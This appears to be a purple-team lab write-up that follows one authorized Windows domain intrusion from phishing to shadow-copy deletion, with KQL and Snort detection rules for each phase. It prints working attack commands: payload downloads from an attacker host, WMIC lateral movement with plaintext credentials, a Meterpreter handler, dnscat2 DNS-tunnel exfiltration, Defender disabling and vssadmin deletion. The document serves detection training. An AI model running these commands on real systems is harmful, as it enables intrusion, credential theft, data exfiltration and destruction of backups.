From Phishing Email to Data Destruction: Anatomy of a Full Attack Chain, Seen From Both Sides of…

A red team operator breaches a small Windows domain end-to-end — and a blue team, watching every move through PowerShell logs, Sysmon telemetry, and Snort, catches him at every single stage.

Introduction

Most cybersecurity write-ups pick a lane. Either you get a red team walkthrough full of msfvenom one-liners and reverse shells, or you get a detection engineering post full of KQL queries and dry rule logic. Rarely do you get to watch the same intrusion from both sides at once — to see the attacker type a command, and then watch the exact log entry that command generates land in a SOC dashboard seconds later.

That's the point of this case study. In an isolated, authorized lab environment built around a small Active Directory domain, an operator ran a complete attack chain — from initial phishing foothold all the way to data destruction — while a detection stack quietly logged, parsed, and alerted on almost every step. What follows is that chain, phase by phase, told from the offensive perspective and the defensive perspective side by side, with the actual detection logic used to catch it, and the actual screenshots captured during the exercise.

This isn't a theoretical "how attacks map to MITRE ATT&CK" exercise. Every technique below was executed, and every detection rule below actually fired.

Lab Overview

Environment. The lab consisted of a small Windows Active Directory domain plus an attacker box:

The attacker operated from the Kali box, using Metasploit for initial access and post-exploitation, Rubeus for Kerberos abuse, native Windows admin tools (schtasks, wmic, vssadmin) for persistence and lateral movement, WinRAR for staging, and DNScat2 for covert exfiltration.

The defenders ran an Elastic Stack (Elasticsearch/Kibana) as the SIEM backend, ingesting Windows Event Logs, PowerShell Script Block Logging, and Sysmon-style process telemetry via Winlogbeat/Filebeat/Endgame agents. Network-layer detection came from Snort, an IDS whose alerts were normalized through Fluent Bit (listening on port 8001) before being shipped into Elasticsearch — a necessary step, since Snort's raw syslog output doesn't parse cleanly if sent directly.

Custom detection rules were built for nearly every attacker action, each with its own severity, risk score, and query logic. Some of those rules line up cleanly with the offensive playbook; a couple reveal small but telling gaps between what was planned and what was actually detected — more on that later.

Phase 1: Initial Access — Phishing and a Non-Staged Payload

Offensive Perspective

The intrusion began the old-fashioned way: a phishing email carrying a malicious attachment. The victim was tricked into executing it with administrator privileges. Rather than a staged payload — which requires a separate stage-loading step and is comparatively noisy on the wire — the attacker chose a non-staged Meterpreter payload, generated with msfvenom:

A non-staged payload bundles the full Meterpreter functionality into a single executable. It's larger on disk, but it means the attacker doesn't need a second network round-trip to pull down the rest of the implant — useful when you don't know how much scrutiny that follow-up traffic might draw.

On the attacker side, a matching handler was stood up in msfconsole:

Once the victim executed the attachment, a Meterpreter session opened back to the attacker over port 5000 — the initial foothold was established.

MITRE ATT&CK

No specific detection rule was documented for this phase in the lab; it represents the entry point rather than a monitored technique in this exercise.

Why This Matters

Initial access is the phase organizations most often try to stop with email filtering and endpoint prevention — and it's also the phase where, once it fails, everything downstream becomes a detection problem rather than a prevention problem. That shift is exactly what the rest of this case study is about.

Phase 2: Defense Evasion — Disabling Windows Defender (T1562.001)

Offensive Perspective

With code execution established, the attacker's first move was to blind the endpoint's own defenses. Before the exercise even began, Windows Defender's real-time protection had been disabled at the group policy level to simplify the lab (gpedit.msc → Administrative Templates → Windows Components → Windows Defender → Real-time Protection → "Turn off real-time protection"):

During the live intrusion itself, the attacker reinforced this by disabling real-time monitoring directly via PowerShell:

This single command strips away real-time malware scanning, clearing the path for the rest of the toolkit — Rubeus, WinRAR, DNScat2 — to run without triggering signature-based alerts.

MITRE ATT&CK

T1562.001 — Impair Defenses: Disable or Modify Tools

Detection Perspective

Here's where the defensive stack earns its keep. Disabling Defender via PowerShell doesn't just change a setting — it leaves a very specific fingerprint. Because PowerShell Script Block Logging was enabled, the exact command text executed on the box was captured and forwarded as an event.

Detection Data Sources

• Windows Event Logs — Event ID 4104 (PowerShell Script Block Logging)
• Winlogbeat / Elasticsearch — windows.powershell_operational dataset

The captured event showed the full script block text (Set-MpPreference -DisableRealtimeMonitoring $true), the script block hash, and the executing user's SID — everything needed to both alert and investigate after the fact.

Detection Rule

powershell.file.script_block_text:*Set-MpPreference*
  and powershell.file.script_block_text:*DisableRealtimeMonitoring*
  and winlog.provider_name:"Microsoft-Windows-PowerShell"
  and event.code:4104

powershell.file.script_block_text:*Set-MpPreference*
  and powershell.file.script_block_text:*DisableRealtimeMonitoring*
  and winlog.provider_name:"Microsoft-Windows-PowerShell"
  and event.code:4104

Requiring both the Set-MpPreference cmdlet and the DisableRealtimeMonitoring parameter to appear together in the same script block tightens the match considerably compared to keying on either string alone — a script block has to contain the actual Defender-tampering cmdlet and the specific flag that turns off real-time protection before this rule fires. This rule was deployed as an active detection ("Defensive Evasion", medium severity, risk score 47) and fired multiple times as the attacker re-ran variations of the command across the session.

Note: the screenshots above capture the rule panel as it was configured during the exercise, using the original single-condition query. The dual-condition rule shown in the code block reflects the refined version of this detection.

Why This Detection Works

The logic here doesn't try to detect "malicious intent" — it detects a specific, well-known combination tied to a specific, well-known PowerShell cmdlet and its Defender-disabling parameter. Set-MpPreference -Disable* has essentially no legitimate justification outside of controlled IT administration, which makes it a high-signal, low-noise indicator. Requiring both strings to appear in the same script block, alongside event.code:4104, ensures the rule only fires on genuine script block executions that actually contain the Defender-tampering command — not on either fragment appearing incidentally elsewhere.

Phase 3: Persistence — Scheduled Task Backdoor (T1053.005)

Offensive Perspective

To survive a reboot or a lost session, the attacker registered a scheduled task that re-launches the implant every minute, running as SYSTEM:

schtasks /create /tn "test" /tr "C:\Users\Administrator.WEINNOVATE.000\Downloads\stage1.exe" /sc MINUTE /mo 1 /ru SYSTEM

schtasks /create /tn "test" /tr "C:\Users\Administrator.WEINNOVATE.000\Downloads\stage1.exe" /sc MINUTE /mo 1 /ru SYSTEM

Naming the task ("test" in the demo, "windows" in the live run) is a small piece of social engineering aimed at anyone glancing through Task Scheduler — it's designed to blend into legitimate-looking system tasks. Running it as SYSTEM also quietly escalates the payload's effective privileges beyond whatever the phished user account had.

MITRE ATT&CK

T1053.005 — Scheduled Task/Job: Scheduled Task

Detection Perspective

Scheduled task creation goes through schtasks.exe, and that process execution — with its full command line — is exactly the kind of event process telemetry is built to catch.

Detection Data Sources

• Process/event telemetry (event.category:process) via Endgame/Winlogbeat/Filebeat

Detection Rule

process.args:/create
  and process.executable:*\\schtasks.exe
  and event.category:process

process.args:/create
  and process.executable:*\\schtasks.exe
  and event.category:process

The "Scheduled Task" rule (medium severity, risk score 47) triggered on each creation attempt, generating an alert with the full process arguments — including the suspicious /sc MINUTE /mo 1 interval and the /ru SYSTEM privilege level, both of which are strong indicators this isn't a routine administrative task.

Why This Detection Works

Rather than trying to whitelist "normal" scheduled tasks (a losing game in most environments), this rule keys on the creation action itself (/create) combined with the specific binary. It's broad by design — it will catch legitimate admin activity too — but that's an acceptable tradeoff for a technique this commonly abused for persistence. Narrowing further (e.g., flagging short intervals or SYSTEM-level tasks specifically) would reduce noise at the cost of some coverage.

Phase 4: Credential Access — AS-REP Roasting with Rubeus (T1558.004)

Offensive Perspective

With a foothold and persistence secured, the attacker went after domain credentials. The target account had "Do not require Kerberos pre-authentication" enabled — a misconfiguration that makes AS-REP Roasting possible, since the KDC will hand out an encrypted TGT response to anyone who asks for that account, without verifying the requester's identity first.

The attacker downloaded Rubeus onto the compromised host:

Invoke-WebRequest -Uri "http://10.20.10.120:8000/Rubeus.exe" -OutFile "rubeus.exe"

Invoke-WebRequest -Uri "http://10.20.10.120:8000/Rubeus.exe" -OutFile "rubeus.exe"

…and then requested the roastable hash:

.\rubeus.exe asreproast

.\rubeus.exe asreproast

Rubeus returned crackable Kerberos hashes for multiple accounts, including the Administrator account. From there, the attacker took the hash offline and cracked it with hashcat against a wordlist (with the correct password seeded in for demonstration purposes):

hashcat -m 18200 -a 0 -o cracked_passwords.txt hash /usr/share/wordlists/rockyou.txt

hashcat -m 18200 -a 0 -o cracked_passwords.txt hash /usr/share/wordlists/rockyou.txt

The crack succeeded, handing the attacker plaintext Administrator-equivalent credentials — a major escalation from "code execution on one box" to "keys to the domain."

Note on documentation:_ the lab's offensive notes originally referenced T1558.002 (Silver Ticket), but the technique actually demonstrated — requesting AS-REP hashes from accounts without Kerberos pre-authentication — correctly maps to T1558.004. This mismatch is worth flagging precisely because it's the kind of documentation drift that can send an incident responder chasing the wrong technique._

MITRE ATT&CK

T1558.004 — Steal or Forge Kerberos Tickets: AS-REP Roasting

Detection Perspective

AS-REP Roasting has a fairly distinctive footprint in Windows Security logs: because pre-authentication is disabled for the targeted account, the KDC issues a TGT (Event ID 4768) without a preceding failed pre-auth attempt, and it often does so using weaker encryption if the requester asks for it.

Detection Data Sources

• Windows Security Event Log — Event IDs 4768 (TGT request) and 4769 (service ticket request)
• Winlogbeat/Elasticsearch — authentication event fields, including ticket encryption type and ticket options

Detection Rule

event.code:4768
  and service.name:krbtgt
  and winlog.event_data.TicketEncryptionType:0x17
  and winlog.event_data.TicketOptions:0x40800010

event.code:4768
  and service.name:krbtgt
  and winlog.event_data.TicketEncryptionType:0x17
  and winlog.event_data.TicketOptions:0x40800010

The "AS-REP Roasting" rule (medium severity, risk score 47) was designed around the described behavioral pattern — numerous TGT requests from the same source in a tight time window, especially when requesting RC4 encryption (type 0x17), which is weaker and easier to crack offline than AES. In testing, the rule fired repeatedly as Rubeus queried multiple accounts in quick succession.

Why This Detection Works

The encryption type filter is the key discriminator here. Modern, correctly configured environments should rarely see RC4 (0x17) requested for Kerberos tickets — most legitimate traffic negotiates AES. An RC4 request combined with the specific ticket options flag associated with AS-REP responses is a strong, fairly rare combination, which keeps false positives low even without needing to baseline "normal" authentication volume first.

Phase 5: Lateral Movement — Remote Execution via WMIC (T1047)

Offensive Perspective

Armed with cracked Administrator credentials, the attacker pivoted to the Domain Controller using WMIC — a legitimate Windows management tool that happens to double as a remote command execution vector when you have valid credentials:

wmic /node:"10.20.10.17" /user:"Administrator" /password:"D3t3ction123@321" process call create "powershell.exe /c curl -o C:\Users\Public\stage2.exe http://10.20.10.120:8000/stage2.exe"

wmic /node:"10.20.10.17" /user:"Administrator" /password:"D3t3ction123@321" process call create "powershell.exe /c curl -o C:\Users\Public\stage2.exe http://10.20.10.120:8000/stage2.exe"

This pulls a second-stage payload (stage2.exe) onto the DC. A follow-up WMIC call then executes it:

wmic /node:"10.20.10.17" /user:"Administrator" /password:"D3t3ction123@321" process call create "powershell.exe /c stage2.exe"

wmic /node:"10.20.10.17" /user:"Administrator" /password:"D3t3ction123@321" process call create "powershell.exe /c stage2.exe"

A second Meterpreter listener, on port 5001, catches the resulting callback:

use multi/handler
set payload payload/windows/x64/meterpreter_reverse_tcp
set LHOST 10.20.10.120
set LPORT 5001
exploit

use multi/handler
set payload payload/windows/x64/meterpreter_reverse_tcp
set LHOST 10.20.10.120
set LPORT 5001
exploit

— giving the attacker a session directly on the Domain Controller.

Note on documentation:_ the lab's offensive notes referenced T1105 (Ingress Tool Transfer) for this stage, but the actual mechanism — using WMIC to remotely instantiate a process on another host — is more precisely mapped to T1047 (Windows Management Instrumentation). Ingress Tool Transfer describes_ pulling a tool onto a system_; T1047 describes the_ remote execution mechanism being abused to do it. Both elements are present, but T1047 is the technique the detection rule actually targets.

MITRE ATT&CK

T1047 — Windows Management Instrumentation

Detection Perspective

WMIC's remote execution capability hinges on the /node flag, which specifies a target host other than the local machine. That flag, combined with the WMIC binary itself, is a clean detection anchor.

Detection Data Sources

• Process telemetry (event.category:process) — captured executable path, full command line, and parent process (powershell.exe, in this case) for WMIC.exe

The attacker used wmic /node:"10.2.1.157" /user:"admin12" /password:"P@ssword123" process call create "cmd.exe /c curl -o C:\backdoor.exe https://example[.]com/backdoor[.]exe"

Detection Rule

event.category:process
  and process.executable:*\\WMIC.exe
  and process.command_line:*/node*
  and not process.command_line:*/node*127.0.0.1*
  and not process.command_line:*/node*localhost*

event.category:process
  and process.executable:*\\WMIC.exe
  and process.command_line:*/node*
  and not process.command_line:*/node*127.0.0.1*
  and not process.command_line:*/node*localhost*

The "Lateral Movement" rule (medium severity, risk score 47) fired on both WMIC calls — the download and the execution — giving the SOC a near-real-time trail of the pivot from client to Domain Controller.

Why This Detection Works

The exclusions for 127.0.0.1 and localhost are doing real work here: they filter out WMIC usage that targets the local machine (which is common in legitimate scripting and system management) and isolate the cases where WMIC is explicitly reaching out to a different host — which is the actual lateral-movement behavior. It's a good example of a detection rule tuned not just to catch the technique, but to catch the specific remote variant of it that matters.

Phase 6: Data Collection — Staging Files with WinRAR (T1005)

Offensive Perspective

With access to the Domain Controller, the attacker turned to collection: gathering sensitive files before moving them out. WinRAR — pre-installed across the lab machines specifically to support this phase — was used to compress targeted file types into a single archive:

C:\"Program Files"\WinRAR\WinRAR.exe a -r -ep1 -s -n*.pdf -n*.exe -n*.docx -n*.xlsx -n*.txt backup5.rar C:\Users\Administrator.WEINNOVATE.000\Downloads\folder

C:\"Program Files"\WinRAR\WinRAR.exe a -r -ep1 -s -n*.pdf -n*.exe -n*.docx -n*.xlsx -n*.txt backup5.rar C:\Users\Administrator.WEINNOVATE.000\Downloads\folder

The filters target document formats most likely to contain sensitive business data — PDFs, Word docs, spreadsheets — while the archive name (backup5.rar) is deliberately mundane, designed to look like routine backup activity rather than data theft in progress.

MITRE ATT&CK

T1005 — Data from Local System

Detection Perspective

Because the archiving happens through a normal desktop application, the giveaway is in the command-line arguments — the mix of an archiving tool with document-format filters is not something typical backup software or user behavior produces.

Detection Data Sources

• Process telemetry — process.command_line for WinRAR.exe

Detection Rule

process.command_line:*WinRAR.exe*
  and (*-s* or *.doc* or *.pdf* or *.xlsx* or *Compress-Archive*)

process.command_line:*WinRAR.exe*
  and (*-s* or *.doc* or *.pdf* or *.xlsx* or *Compress-Archive*)

The "Data Compression" rule was scored notably lower than the other stages — low severity, risk score 21 — reflecting how much more common (and how much noisier) legitimate WinRAR usage is compared to, say, disabling Defender or dumping Kerberos tickets.

Why This Detection Works

This rule accepts a higher false-positive rate by design — plenty of employees zip up PDFs and spreadsheets for entirely legitimate reasons. The value here isn't in a clean signal on its own; it's in context. On its own, this alert is weak. Correlated with the Defender-disable alert and the WMIC lateral-movement alert from the same host minutes earlier, it becomes a much stronger indicator of an active intrusion — which is exactly the kind of alert-chaining a SOC analyst should be doing rather than triaging each rule in isolation.

Phase 7: Data Exfiltration — DNS Tunneling with DNScat2 (T1041)

Offensive Perspective

Rather than exfiltrating the archive over an obvious HTTP or FTP channel, the attacker chose DNS tunneling — a technique that abuses the fact that DNS traffic is rarely inspected as closely as other protocols, and is almost always allowed outbound by default.

On the attacker's Kali box, a DNScat2 server was stood up, listening on port 53:

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
sudo gem install bundler
bundle install
ruby ./dnscat2.rb --dns host=192.168.100.24,port=53,domain=sam.com

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
sudo gem install bundler
bundle install
ruby ./dnscat2.rb --dns host=192.168.100.24,port=53,domain=sam.com

On the compromised victim machine, the DNScat2 client was downloaded and launched to phone home over DNS:

Invoke-WebRequest -Uri http://10.20.10.120:8000/dnscat2-client.exe -OutFile dnscat2.exe

Invoke-WebRequest -Uri http://10.20.10.120:8000/dnscat2-client.exe -OutFile dnscat2.exe

.\dnscat2.exe --dns server=192.168.100.24

.\dnscat2.exe --dns server=192.168.100.24

Every byte of that session traveled encoded inside DNS queries and responses — invisible to anyone watching only HTTP or file-transfer traffic.

Once the session connected, the attacker could interact with the compromised host through DNScat2's command shell:

…and pull files back — for example, retrieving getme.txt from the victim:

window -i 1
download C:/getme.txt /home/kali/getme.txt

window -i 1
download C:/getme.txt /home/kali/getme.txt

MITRE ATT&CK

T1041 — Exfiltration Over C2 Channel

Detection Perspective

This is where the network layer, not the endpoint, does the heavy lifting. DNS tunneling tools like DNScat2 produce highly distinctive traffic patterns — an unusually large volume of DNS queries to a single domain, unusual query structures, and payload data encoded in subdomains — patterns that signature-based network IDS tools are specifically built to catch.

Detection Data Sources

• Snort IDS alerts, identified by rule GID:SID 1:54827 ("MALWARE-TOOLS dnscat dns tunneling detected")
• Fluent Bit → Elasticsearch pipeline — Snort's syslog alerts are parsed by Fluent Bit (listening on port 8001) before being forwarded to Elasticsearch, since sending Snort output directly to Elasticsearch fails to parse correctly

The Snort alert log showed repeated triggers over UDP port 53 between the victim (10.20.10.17) and the attacker's WAN address (192.168.100.24), each one flagged with "A Network Trojan was Detected" at Priority 1 — Snort's highest urgency tier.

Detection Rule

NOT Dst_ip:("8.8.4.4" or "8.8.8.8")
  and Dst_port:53
  and Message:*tunneling detected*

NOT Dst_ip:("8.8.4.4" or "8.8.8.8")
  and Dst_port:53
  and Message:*tunneling detected*

The "Malicious DNS" rule was scored notably higher than most other stages in this scenario — high severity, risk score 73 — reflecting how strong a signal successful C2 tunneling represents once it's confirmed.

Why This Detection Works

Two layers of filtering are stacked here. First, Snort's own signature does the pattern-matching work of recognizing DNScat2's tunneling behavior on the wire — that's the hard part, and it's handled at the network layer before the alert ever reaches the SIEM. Second, the KQL rule excludes traffic to well-known legitimate public DNS resolvers (Google's 8.8.8.8 and 8.8.4.4), which reduces noise from ordinary DNS resolution and keeps the rule focused on connections to untrusted, non-standard resolvers — exactly the profile of a rogue DNS tunneling server. It's a good illustration of why exfiltration detection often can't happen purely at the endpoint: this activity's signature lives in the network traffic pattern, not in a process command line.

Phase 8: Impact and Covering Tracks — Shadow Copy Deletion (T1485)

Offensive Perspective

With data staged and exfiltrated, the final step was to erase recovery options and cover tracks. The attacker deleted all Volume Shadow Copies — the mechanism Windows uses for point-in-time system backups and, not coincidentally, the mechanism many ransomware operators target to prevent easy recovery:

vssadmin delete shadows /all /quiet

vssadmin delete shadows /all /quiet

The /quiet flag suppresses confirmation prompts, letting the command run cleanly in an automated or scripted context without requiring interaction.

MITRE ATT&CK

T1485 — Data Destruction

Detection Perspective

vssadmin.exe is a legitimate, signed Windows binary, which means detection here relies entirely on command-line argument inspection rather than flagging the binary itself.

Detection Data Sources

• Process telemetry — process.command_line, process.args, plus the Security Event Log showing the process creation event and the account (SID) that launched it

Detection Rule

process.command_line:*vssadmin*
  and (*delete* or *quiet* or *rm*)

process.command_line:*vssadmin*
  and (*delete* or *quiet* or *rm*)

Two separate detections actually cover this stage: a "Covering-Tracks" rule aimed specifically at vssadmin shadow copy deletion (low severity, risk score 21), reflecting that this command has legitimate administrative uses but is also a well-known indicator of destructive intent when it follows a chain of other suspicious activity.

Why This Detection Works

As with the WinRAR detection earlier, this rule is intentionally broad and low-severity on its own — vssadmin delete shadows gets run by legitimate IT processes too. Its real value is as the closing link in an alert chain: Defender disabled → scheduled task created → Kerberos hashes roasted → lateral movement to the DC → data compressed → data tunneled out over DNS → shadow copies deleted. Seen in isolation, this last alert looks like routine disk cleanup. Seen at the end of that sequence, on the same host, within the same operational window, it's the unmistakable signature of an attacker closing out an operation.

Attack Timeline

Key Detection Lessons

Script block logging is worth the storage cost. The very first defensive win in this whole chain — catching Defender being disabled — was only possible because PowerShell Script Block Logging (Event ID 4104) was enabled. Without it, that command executes silently.

Command-line telemetry beats binary allow-listing. Nearly every detection rule in this case study — schtasks, WMIC, WinRAR, vssadmin — relies on legitimate, signed Windows or third-party binaries being used maliciously. Blocking or flagging the binaries themselves isn't viable; the SOC's entire detection strategy here correctly focused on argument patterns and behavioral context instead.

Low-severity alerts are often the most important corroborating evidence. The WinRAR and vssadmin rules were both scored low on their own — appropriately so, since each has legitimate everyday uses. Their real value only appears when analysts correlate them against the higher-severity alerts (Defender disabled, AS-REP Roasting, DNS tunneling) that bookend them in the same timeline on the same host.

Network-layer detection catches what endpoint telemetry can't. The exfiltration stage is the clearest example in this whole case study of a technique that simply isn't visible from process or PowerShell logs alone — DNScat2 wraps its C2 traffic inside standard-looking DNS queries. Only a signature-aware IDS watching the wire caught it.

Kerberos misconfigurations are a force multiplier for attackers. The entire credential-access phase depended on one AD setting — "Do not require Kerberos pre-authentication" — being enabled on at least one account. Detection caught the resulting AS-REP Roasting attempt, but the cleaner fix is simply not exposing that misconfiguration in production environments.

Challenges and Gaps

A few inconsistencies and limitations surfaced while mapping the offensive and defensive documentation against each other:

• Technique mislabeling in source notes. The AS-REP Roasting stage was originally documented under T1558.002 (Silver Ticket) rather than the correct T1558.004. Similarly, the WMIC lateral-movement stage was originally documented under T1105 (Ingress Tool Transfer) rather than T1047. Both were caught and corrected during analysis, but they're a useful reminder that MITRE mapping errors can persist unnoticed in internal documentation and skew metrics or reporting if not periodically audited.
• No documented detection for initial access. The phishing/payload-execution stage that started the whole chain doesn't have a corresponding detection rule described in the defensive documentation. Given that everything downstream was caught, this gap didn't affect the outcome of this exercise — but in a live environment, catching this stage (via email gateway logs, AMSI/behavioral detection on the payload itself, or process-creation telemetry for the initial stage1.exe execution) would meaningfully shrink the attacker's window of opportunity.
• Rule scoring reflects individual technique risk, not chain risk. Several of the individual detection rules (WinRAR compression, shadow copy deletion) carry low severity scores in isolation, which is reasonable given their legitimate uses — but the defensive documentation doesn't describe any automated correlation or "kill chain" alerting that would elevate the combined risk score when multiple low/medium alerts fire against the same host in sequence. That correlation currently appears to depend on analyst judgment rather than tooling.

Conclusion

Taken individually, almost none of the commands in this attack chain look alarming. Disabling a registry-adjacent setting, creating a scheduled task, running an archiving tool, querying DNS — these are all things that happen on any given Windows network hundreds of times a day for entirely legitimate reasons.

What makes this intrusion detectable isn't any single rule — it's the correlation of telemetry across endpoint logs, PowerShell script blocks, Windows authentication events, and network-layer IDS alerts, tied together by a common host and a tight time window. That's the real lesson underneath the MITRE mapping and the KQL syntax: defense doesn't win by finding one perfect signature. It wins by instrumenting enough of the environment that the pattern of an attack becomes visible even when each individual step tries to look ordinary.

Useful Links:

dnscat2-client download https://downloads.skullsecurity.org/dnscat2/dnscat2-v0.07-client-win32.zip

Rubeus tool download

precompiled-binaries/LateralMovement/Rubeus.exe at main · jakobfriedl/precompiled-binaries Collection of useful pre-compiled .NET binaries or other executables for penetration testing Windows Active Directory…

dnscat2 repo

GitHub - iagox86/dnscat2 Contribute to iagox86/dnscat2 development by creating an account on GitHub.